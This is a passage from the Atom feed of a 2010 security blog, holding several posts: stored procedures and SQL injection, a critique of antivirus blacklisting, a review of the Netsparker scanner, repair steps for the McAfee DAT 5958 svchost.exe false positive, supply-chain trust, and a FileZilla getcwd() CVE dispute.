largest and easiest providers of free expression to the masses. A lot of these countries have always censored heavily, and done horrible things to keep the truth hidden. This is the first time i can think of where they do it on a global scale though. What happens if we see this behaviour continue? What are the large scale implications for the internet as a whole? There's some heavy stuff going on here. I will need more time to digest it all. In the meantime, what does everybody else think?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-6676635013912447865?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/6676635013912447865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/05/pakistan-and-cyber-jihad.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6676635013912447865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6676635013912447865'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/05/pakistan-and-cyber-jihad.html' title='Pakistan and the cyber-jihad?'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-9141243911025669464</id><published>2010-05-24T12:12:00.000-07:00</published><updated>2010-05-24T12:12:46.854-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='AppSec'/><category scheme='http://www.blogger.com/atom/ns#' term='database'/><title type='text'>Stored Procedures do not necessarily prevent SQL Injection</title><content type='html'>It seems that a lot of people think that just because an application uses stored procedures, it's queries must be safe. This absolutely false. Stored Procedures do not&amp;nbsp;inherently&amp;nbsp;add security, as they can be put together as poorly as any dynamically built query. I saw a perfect example of this the other day. An application took inputs, passed them to a stored procedures which then built a sql query by concatenating the inputs with predefined query strings. It then called sp_executesql to execute the dynamic query. The developer obviously had heard that stored procedures were safer than dynamic queries, so they went and made an SP, but they had their SP build a dynamic query. So all they succeeded in doing was pushing the problem back into the database layer instead of the app itself.&lt;br /&gt;&lt;br /&gt;So testers and developers, please do not assume that an sp means safe. you still have to properly&amp;nbsp;parameterize&amp;nbsp;your queries and validate input and output. Security and shortcuts do not go together. If you think you may have vulnerable SPs like this, try running a query such as&amp;nbsp;SELECT object_Name(id) FROM syscomments WHERE UPPER(text) LIKE &amp;nbsp;'%SP_EXECUTESQL%' OR UPPER(text) LIKE &amp;nbsp;'%EXECUTE%' OR UPPER(text) LIKE &amp;nbsp;'%EXEC%'&lt;br /&gt;&lt;div&gt;&amp;nbsp;to try and see where these&amp;nbsp;venerabilities&amp;nbsp;are.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-9141243911025669464?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/9141243911025669464/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/05/stored-procedures-do-not-necessarily.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/9141243911025669464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/9141243911025669464'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/05/stored-procedures-do-not-necessarily.html' title='Stored Procedures do not necessarily prevent SQL Injection'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-3321345734730874066</id><published>2010-05-19T12:30:00.000-07:00</published><updated>2010-05-19T12:30:10.446-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><title type='text'>Return postage for Mr Zalewski</title><content type='html'>All due respect to &lt;a href="http://lcamtuf.coredump.cx/"&gt;Michal Zalewski&lt;/a&gt;. He is, after all, a very smart man. Much smarter than me, I'd wager. That being said, I disagree with some of his recent Zero Day Threat Post blog,&amp;nbsp;&lt;a href="http://www.zdnet.com/blog/security/postcards-from-the-anti-virus-world/6370"&gt;Postcards from the anti-virus world&lt;/a&gt;&amp;nbsp;. go ahead and read it, if you haven't already. Go ahead, I'll wait for you.....okay done? &amp;nbsp;The most glaring problem is in the logic fail around the first bullet points. Hey says that most users are not keeping their anti-virus up to date. He then claims this is to the average AV user's advantage because malware writers don't bother to write AV evasion. First of all, this seems a bit specious to me, but let's continue on to the real problem here. In the first sub-point of the second item, he says that malware authours punt their malware so fast and so widespread there will be signature updates for it quickly, and this is good.&lt;br /&gt;&lt;br /&gt;So excuse me, Mr Zalewski, but people don't update their AV with the latest signatures, but it's okay because they push out new signatures really fast? These two points of logic can in fact work together, as strange as it seems. The problem is that, in this scenario, the user base that is all good, has been&amp;nbsp;marginalized&amp;nbsp;to a fraction of the total user base. So what is really being said here is not that AV blacklisting methodology works really well, but rather that the fundamental failure of this approach for the majority constitutes a success for a minority of the users. So if you are a home user, who keeps his antivirus up to date you are better off than a home user who doesn't, or a corporation that does or does not.&lt;br /&gt;&lt;br /&gt;Now let's talk about the second failure of this thinking. Mr Zalewski is thinking in the immediate. Even if the current trend continues on for N iterative cycles, the AV users do not win. The reason for this is simple: Blacklist methodology is not sustainable where N has grown to a large enough number in relation to the resource capacity of the machine running it. Antivirus has always been a resource hog, and has only gotten worse with time. the reason for this is the escalation factor. The 'bad guys' keep coming up with new malware, new techniques, new exploits etc. So the AV firms come out with new signatures, new heuristics, and new scan engines. With every cycle, the product becomes less manageable from a resource&amp;nbsp;perspective. I have had consultants tell me that 'most major companies' do not run AV products on production servers, because it is too resource intensive.&lt;br /&gt;&lt;br /&gt;There is also the manageability of the program itself. Remember that AV is code&amp;nbsp;just&amp;nbsp;like any other program, and not some magical box. It's prone to bugs big and small, like any other code. The&amp;nbsp;more&amp;nbsp;you mess with the code, the more the chance of introducing NEW bugs into it. As the complexity increases so do the odds of deviation from expected behaviour. i'm sure that smarter people than me have expressed this mathematically, but I don't know where such a formula resides. So as the N described above continues to&amp;nbsp;increase&amp;nbsp;so do the odds that we will see something like the Mcafee DAT 5958 bug. This factor alone takes a bite out of the security of an AV solution, because security will&amp;nbsp;constantly&amp;nbsp;be fighting operational needs for resources, and&amp;nbsp;every time&amp;nbsp;we have a bug like DAT 5958 or the Symantec Y2k10 bug, the rest of IT hates AV more.&lt;br /&gt;&lt;br /&gt;Now let's get back to the bit about most malware authours not using AV evasion. now, I am not &lt;a href="http://ddanchev.blogspot.com/"&gt;Dancho&lt;/a&gt; &lt;a href="http://www.zdnet.com/blog/security"&gt;Danchev&lt;/a&gt;&amp;nbsp;&amp;nbsp;or any other malware researcher. Remember i'm just some schmuck penetration tester. That being said, I find it hard to&amp;nbsp;believe&amp;nbsp;this statement is entirely true. What I would be more inclined to&amp;nbsp;believe&amp;nbsp;is that there are now an abundance of skiddies out there&amp;nbsp;using&amp;nbsp;malware 'kits' to assemble tons of variant malware and distributing it. These people, of course, have no idea how to create evasion techniques and so they don't bother. They&amp;nbsp;just&amp;nbsp;cherry-pick. I would hazard a guess that a lot of the people really spending time on writing their malicious code, spend the time on at least some basic AV evasion.&lt;br /&gt;&lt;br /&gt;Whether that's true or not, evasion is somewhat&amp;nbsp;unnecessary. Mr. Zalewski hints at this as well in his article. &amp;nbsp;He says that they don't bother because people don't update their anti-virus, so they don't worry about signature updates. This is&amp;nbsp;just&amp;nbsp;a&amp;nbsp;demonstration&amp;nbsp;of the utter failing of blacklist methodology. The malware authours don't need to write evasion techniques, because if a signature doesn't exist, and the heuristics won't catch it, what's the point? They can release their code into the wild now, then create a new variant when the AV companies get a sig out. They can&amp;nbsp;play&amp;nbsp;this game for quite a while. Tools like virustotal even give them a running scorecard of how they are doing against all the major players. &amp;nbsp;Relying on signatures leaves holes you could drive trucks through. Those trucks, by the way, happen to be hauling your private data away to China and Russia.&lt;br /&gt;&lt;br /&gt;Now please don't get me wrong here. I am not trying to call foul on the AV companies. At&amp;nbsp;least&amp;nbsp;not in any particular fashion. The thing of it is, if you are an MNC that got hit by a worm that exfiltrated trade secrets, and then F-Secure releases a signature a little later, that doesn't help much. It's rather like someone breaking into your house and stealing all of your stuff. the cops catch the crook, but may not get your stuff back. you don't blame the cop, but you do wish they had caught the guy while he was trying to break in, not after the fact.&lt;br /&gt;&lt;br /&gt;As always, discussion and&amp;nbsp;opinions&amp;nbsp;are always welcome here.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-3321345734730874066?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/3321345734730874066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/05/return-postage-for-mr-zalewski.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/3321345734730874066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/3321345734730874066'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/05/return-postage-for-mr-zalewski.html' title='Return postage for Mr Zalewski'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-4841166959036826359</id><published>2010-04-23T10:06:00.000-07:00</published><updated>2010-04-23T10:11:52.879-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='Netsparker'/><category scheme='http://www.blogger.com/atom/ns#' term='AppSec'/><title type='text'>NetSparker Community Edition Review</title><content type='html'>For those of you who do not follow&amp;nbsp;&lt;a href="http://darknet.org.uk/"&gt;DarkNET&lt;/a&gt;&amp;nbsp;, it is a well run blog where they add their perspective on security news and events. They also post a never ending stream of new tools and updates. They area great resource for keeping up to date on the latests toys and tools. They have come&amp;nbsp;through&amp;nbsp;for me once &lt;a href="http://www.darknet.org.uk/2010/04/netsparker-community-edition-web-application-security-scanner/"&gt;again&lt;/a&gt;&amp;nbsp;by introducing me to &amp;nbsp;Netsparker Community Edition. The last fire and forget web scanner I was enticed to check out in this manner was a&amp;nbsp;horrible&amp;nbsp;flop. It was called Acunetix, perhaps you've&amp;nbsp;heard&amp;nbsp;of it? If you haven't don't bother, it's rubbish.&lt;br /&gt;&lt;br /&gt;So as you can&amp;nbsp;imagine&amp;nbsp;I was not expecting great things from Netsparker. However, as I was&amp;nbsp;downloading&amp;nbsp;it I noticed that RSnake had also &lt;a href="http://ha.ckers.org/blog/20100409/mavituna-securitys-netsparker-community-edition/"&gt;posted&lt;/a&gt;&amp;nbsp;about it. Like many people in my field, I tend to have an ego, but when RSnake speaks, I listen. So I installed the community edition and gave it some quick run&amp;nbsp;through. As expected, many of the best features are turned off in the freebie version, but that's okay. They&amp;nbsp;left&amp;nbsp;enough&amp;nbsp;good stuff in there to whet my&amp;nbsp;appetite(good job marketing guys). So here are the things I noticed right off the bat:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;The User Interface is very simple and straight forward. This is&amp;nbsp;usually&amp;nbsp;my first indication of a problem. In my experience, good products in this space tend to have absolutely wretched interfaces. they are tormented things that will try to bend your mind to it's will and&amp;nbsp;subjugate you&amp;nbsp;completely. The&amp;nbsp;interface here is so simple most anyone could walk&amp;nbsp;through&amp;nbsp;setting up a scan.&amp;nbsp;&lt;/li&gt;&lt;li&gt;The User Interface makes sense. Acunetix is a perfect example of the simplistic but terrible User Interface. It is very simple, but anything but straightforward. Trying to&amp;nbsp;understand&amp;nbsp;how to make it do some of the things you'd like it to do is not an easy task. Netsparker does not suffer these issues. It presents you with&amp;nbsp;almost&amp;nbsp;everything you could possibly need and even more&amp;nbsp;importantly, nothing you don't.&lt;/li&gt;&lt;li&gt;The sucker is FAST. I typically use IBM's Rational Appscan product. While AppScan is a good product, fast is never an adjective I would use to describe it. Netsparker is fast. Now&amp;nbsp;part&amp;nbsp;of why it is so fast is because the test profile is so limited in the community edition. So let's just look at the crawler. A 964 url page took appscan just&amp;nbsp;over&amp;nbsp;an hour to crawl. NetSparker did it in 15 minutes. It then ran all of it's tests in another 20-30&amp;nbsp;minutes. It may be that we will see these speeds drop dramatically with the full version, due to the expanded test profile.&lt;/li&gt;&lt;li&gt;SQLi right away. One of the apps I tested it on had SQL Injection right on the login page. AppScan had failed to detect it, but manual testing revealed it&amp;nbsp;inside&amp;nbsp;10 minutes. Netsparker caught it immediately. While this is far from a comprehensive look at it's detection rates, I say bravo to netsparker.&lt;/li&gt;&lt;li&gt;Thoroughness. This is hard to gauge because it is the limited version. It FEELS like it is not very thorough. Part of this is&amp;nbsp;psychological,&amp;nbsp;because&amp;nbsp;it runs so fast. Part of it is&amp;nbsp;because&amp;nbsp;it doesn't find some things because it is the 'community edition'. I can't shake the feeling that it is not being thorough, but I would really have to test the full version to make any honest assessment of this.&amp;nbsp;&lt;/li&gt;&lt;li&gt;No False positives, sorta. I performed several test scenarios, and it did not really&amp;nbsp;generate&amp;nbsp;false positives. The ambiguous language here is due to what I think is a very neat feature. On one of the test sites I saw a distinction in the results between 'we know there is cross-site scripting' and 'we think there might be'. I appreciate that it is extremely&amp;nbsp;difficult&amp;nbsp;to eliminate false positives, and I think this approach is great.&lt;/li&gt;&lt;li&gt;Testing framework. I have talked about this before, and I will talk about it again. We need to see testing harnesses, not just pas scanners. Once you are done with the scan, in Netsparker, it has tools you can use within the app to&amp;nbsp;attempt&amp;nbsp;to exploit the&amp;nbsp;vulnerabilities. If you find a possible SQLi there is an actual injection tool built into the scanner to allow you to try and exploit it. It has&amp;nbsp;similar&amp;nbsp;tools for LFI and Command Injection. This, to my mind, represents the absolute right direction for these types of products to be heading in.&lt;/li&gt;&lt;li&gt;Pricetag. The community edition is free but&amp;nbsp;limited. They then have two unlocked versions. The standard and enterprise edition. the key difference being the number of sites licensed for. I'm not sure if this means you predefine what sites you are licensed for or what. However, the unlimited Enterprise Edition comes with a pricetag of only $3000, which is extremely reasonable in my opinion. It also makes the product worthwhile even as a second scanner. I am considering recommending we purchase an Enterprise license so that we can have two scanners to see if we catch anything with one that we don't with the other.&amp;nbsp;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;So let me summarize briefly. The Community Edition of Netsparker shows some very&amp;nbsp;significant&amp;nbsp;promise. It would seem to indicate a well&amp;nbsp;thought&amp;nbsp;out and well developed product. However, for professional assessments I would definitely recommend you not try to use the Community Edition. &amp;nbsp;Without having tested the Enterprise Edition, I won't recommend it out of hand, but at a pricetag of only $3000, it seems like a good idea.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Netsparker Community edition is created by Mavituna Security, and can be downloaded &lt;a href="http://www.mavitunasecurity.com/communityedition/"&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-4841166959036826359?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/4841166959036826359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/04/netsparker-community-edition-review.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4841166959036826359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4841166959036826359'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/04/netsparker-community-edition-review.html' title='NetSparker Community Edition Review'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-748071108351637297</id><published>2010-04-21T15:57:00.000-07:00</published><updated>2010-04-21T16:04:59.109-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DAT'/><category scheme='http://www.blogger.com/atom/ns#' term='Mcafee'/><category scheme='http://www.blogger.com/atom/ns#' term='fixes'/><title type='text'>Mcafee 5958 Dat issue fix Update</title><content type='html'>Okay, so in my previous post I recommended copying the svchost.exe binary from the servicepackfiles\i386 directory. While in most cases this should work fine, there is still a&amp;nbsp;possibility&amp;nbsp;of version issues doing this. The better solution(although somewhat more tedious) would be to load the extra.dat file, and then go into the virusscan console, unlock it, and release svchost.exe from the quarantine. This should give you back the exact svchost binary that was removed before. I don't know if there's anyway to script releasing from&amp;nbsp;quarantine, so that makes this somewhat less favourable of a solution from a&amp;nbsp;wide scale&amp;nbsp;deployment standpoint. However, this does&amp;nbsp;guarantee&amp;nbsp;that you'll get the EXACT same binary back that you lost. I've heard that Ford in particular is&amp;nbsp;having&amp;nbsp;an issue due to some special svchost binary they were using in their image. Because the version didn't match when they did the fix, it supposedly preventing the os from booting properly. For&amp;nbsp;most&amp;nbsp;people, either way will work fine, I just have to advise caution. I don't want somebody getting mad at me later because the fix I&amp;nbsp;posted&amp;nbsp;'didn't work'.&lt;br /&gt;&lt;br /&gt;This is another reason why I don't think it'd be a good idea for me to&amp;nbsp;post&amp;nbsp;the binary we created for the fix. It is using the specific svchost binary from our standard image and may not be right for everyone. Thanks to everyone who's been commenting/discussing here. I like seeing people helping each other out.&lt;br /&gt;&lt;br /&gt;UPDATE: I&amp;nbsp;thought&amp;nbsp;this went without saying, but I'll make sure I mention it anyways. Please make sure to also add the extra.dat to your epo repositories. At this point, with 5959 out it probably is a moot point, but better safe than sorry.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-748071108351637297?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/748071108351637297/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/04/mcafee-5958-dat-issue-fix-update.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/748071108351637297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/748071108351637297'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/04/mcafee-5958-dat-issue-fix-update.html' title='Mcafee 5958 Dat issue fix Update'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-1280947078069393277</id><published>2010-04-21T12:02:00.000-07:00</published><updated>2010-04-21T12:02:02.050-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DAT'/><category scheme='http://www.blogger.com/atom/ns#' term='Mcafee'/><category scheme='http://www.blogger.com/atom/ns#' term='fixes'/><category scheme='http://www.blogger.com/atom/ns#' term='svchost'/><title type='text'>Mcafee DAT 5958 Fix</title><content type='html'>As many people are already aware, McAfee released DAT 5958 today. This DAT contained a fault, which caused issues in hosts running Windows XP SP3. The fault led to a false detection of the W32/Wecorl.A worm, which was an MS08-067 based worm. This resulted in McAfee nuking svchost.exe killing all win32 services on the machine. This results in a laundry&amp;nbsp;list&amp;nbsp;of problems. The way to fix machines impacted by this is simple:&lt;br /&gt;&lt;br /&gt;1. Boot the machine into safe mode&lt;br /&gt;2. Take the extra.dat file mcafee is providing and load it into c:\program files\common files\mcafee\engine&lt;br /&gt;3. Copy svchost.exe from c:\windows\servicepackfiles\i386\svchost.exe to c:\windows\system32\svchost.exe and c:\windows\system32\dllcache\svchost.exe&lt;br /&gt;4. Reboot&lt;br /&gt;&lt;br /&gt;This should remove the faulty signature and replace the damaged svchost from the the servicepack files. This test has been tested and works within our company. We have rolled it into a quick exe package for ease of use.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-1280947078069393277?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/1280947078069393277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/04/mcafee-dat-5958-fix.html#comment-form' title='33 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/1280947078069393277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/1280947078069393277'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/04/mcafee-dat-5958-fix.html' title='Mcafee DAT 5958 Fix'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>33</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-7162708677596511053</id><published>2010-03-09T11:41:00.000-08:00</published><updated>2010-03-09T11:41:13.632-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Who can you trust?</title><content type='html'>So by now, everybody has&amp;nbsp;heard&amp;nbsp;about the whole energizer DUO. Couple that with the&amp;nbsp;news&amp;nbsp;that vodafone shipped out some Android phones with Windows malware&amp;nbsp;loaded&amp;nbsp;on them. If you haven't ehard about this bit yet, I recommend reading&amp;nbsp;&lt;a href="http://www.theregister.co.uk/2010/03/09/vodafone_mariposa/"&gt;here&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href="http://blogs.zdnet.com/security/?p=5626&amp;amp;tag=trunk;content"&gt;here&lt;/a&gt;&amp;nbsp;. The Zdnet&amp;nbsp;post&amp;nbsp;is especially nice&amp;nbsp;because&amp;nbsp;it include links to&amp;nbsp;posts&amp;nbsp;about other incidents just like this. You just have to ignore the linux vs windows flamewar,&amp;nbsp;which&amp;nbsp;I'm sorry to say I let myself get&amp;nbsp;dragged into the middle of. I think it's a shame that the&amp;nbsp;post&amp;nbsp;devolved into that when there's a serious security concern brewing here. It has nothing to do with OSes are or even software. It has to do with trust.&lt;br /&gt;&lt;br /&gt;We spend a lot of time talking about trust in the security world. "Don't download software from an untrusted source", "don't open emails from people you don't trust", "Don't plug untrusted usb devices into your computer." Then we get very condescending when people&amp;nbsp;fail&amp;nbsp;to&amp;nbsp;obey&amp;nbsp;these simple tenants of trust. What do we do when the trust betrays us though. These two most recent examples show cases where the users had every right to trust the&amp;nbsp;infection&amp;nbsp;vector. They&amp;nbsp;downloaded&amp;nbsp;software directly from energizer's site, why wouldn't it be safe? I just bought this phone, it's brand new. How could it possibly have malware on it? The phone example would be exactly the same as if you went to a store like staples,&amp;nbsp;bought&amp;nbsp;a thumb drive. Opened that horrid plastic bubble packaging, insert it in your computer, and then your antivirus starts setting off alarms like a 1940's air raid siren. The device was brand new, had not been tampered with in the store as far as you could tell, and came from a trusted source.&lt;br /&gt;&lt;br /&gt;So now what if we take our hypothetical situation one step further. What if the malware isn't&amp;nbsp;recognized&amp;nbsp;by your AV. Now we have an infected computer. Your friend brings his usb drive over a couple days later to copy some files. It's his usb drive, he knows where it's been. He knows your a smart guy, so your&amp;nbsp;computer&amp;nbsp;should be safe. He takes the&amp;nbsp;infected&amp;nbsp;drive home, and now infects his machine. The cycle is obvious of course. Yes, of&amp;nbsp;course&amp;nbsp;these hypothetical people should have autorun turned off, we all know that by now, and so this example is not perfect. The issue is the trust factor though. In these situations, there is no "blame it on the user". They had every reason to trust these sources. It seems like the only answer is "don't trust anyone or anything". I'd love to see people's thoughts on this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-7162708677596511053?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/7162708677596511053/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/03/who-can-you-trust.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/7162708677596511053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/7162708677596511053'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/03/who-can-you-trust.html' title='Who can you trust?'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-5616028161605038928</id><published>2010-03-08T08:27:00.000-08:00</published><updated>2010-03-08T08:32:04.150-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='idiots'/><title type='text'>This is just sad</title><content type='html'>So I was taking a poke at a friend's server, doing a preliminary sweep for them. I noticed that they were running filezilla 0.9.33 and so I did a quick google search for "filezilla 0.9.33 vuln". What I came up with scared me a little bit. It wasn't that I found some huge gaping vulnerability, but rather a level of&amp;nbsp;ignorance&amp;nbsp;from one of filezilla's forum admins that was simply astounding. Yuo can see the forum thread&amp;nbsp;&lt;a href="http://forum.filezilla-project.org/viewtopic.php?f=6&amp;amp;t=13099"&gt;here&lt;/a&gt;&amp;nbsp;, and find the CVE for the vulnerability being discussed&amp;nbsp;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0083"&gt;here&lt;/a&gt;. The vulnerability that is being discussed is an information disclosure with the getcwd() function.&lt;br /&gt;&lt;br /&gt;The site admin, botg, replies "What is FTP getcwd()? There's no such thing". Botg seems to think that this posting is about misuse of an ftp&amp;nbsp;protocol&amp;nbsp;command. He is then presented, by another user, with the CVE for this vulnerability. He then replies "Thank you, I know how to use Google. Doesn't change the fact that there's no such thing as FTP getcwd(), whatever that means". This is the statement, that more than anything else, blows me away.&lt;br /&gt;&lt;br /&gt;In the scan results the original user posted it says&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 5px; -webkit-border-vertical-spacing: 5px; color: #323d4f; font-family: 'Lucida Grande', 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;Details: The FTP daemon exhibits a descriptor leak in the getcwd (get current working directory) function.&lt;br style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" /&gt;Extra info: None.&lt;br style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" /&gt;Fix: Upgrade your libc C library to the current version.&lt;/span&gt;&lt;/blockquote&gt;And in botg's reply, he even includes the function brackets when referring to getcwd. Funny botg, that sure looks like a programming function call, now doesn't it? His snarky reply even sews the seeds of his own demise. "I know how to use google". Oh really?&amp;nbsp;&lt;a href="http://lmgtfy.com/?q=getcwd()+function"&gt;Let me help you out&lt;/a&gt;&amp;nbsp;. As the first link describes the C function getcwd() I would say you seem to have some problems using google&amp;nbsp;after all. I would also say, that you obviously have no&amp;nbsp;understanding&amp;nbsp;of how software vulnerabilities happen. If you think that vulnerabilities happen by some command the user can&amp;nbsp;just&amp;nbsp;type in and "hack the gibson", you need to stop watching TV mate. "It's not my job to know these things" you&amp;nbsp;might&amp;nbsp;say. No, but you are in the position of helping users, and this one came to you with a question. Rather than doing any decent&amp;nbsp;amount&amp;nbsp;of research, you opened your mouth and&amp;nbsp;inserted&amp;nbsp;your foot. Let's forget the whole&amp;nbsp;Google&amp;nbsp;bit, or the fact that it is immediately obvious that this is a C function call. I once again point you to the scan results the user posted:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 5px; -webkit-border-vertical-spacing: 5px; color: #323d4f; font-family: 'Lucida Grande', 'Trebuchet MS', Helvetica, 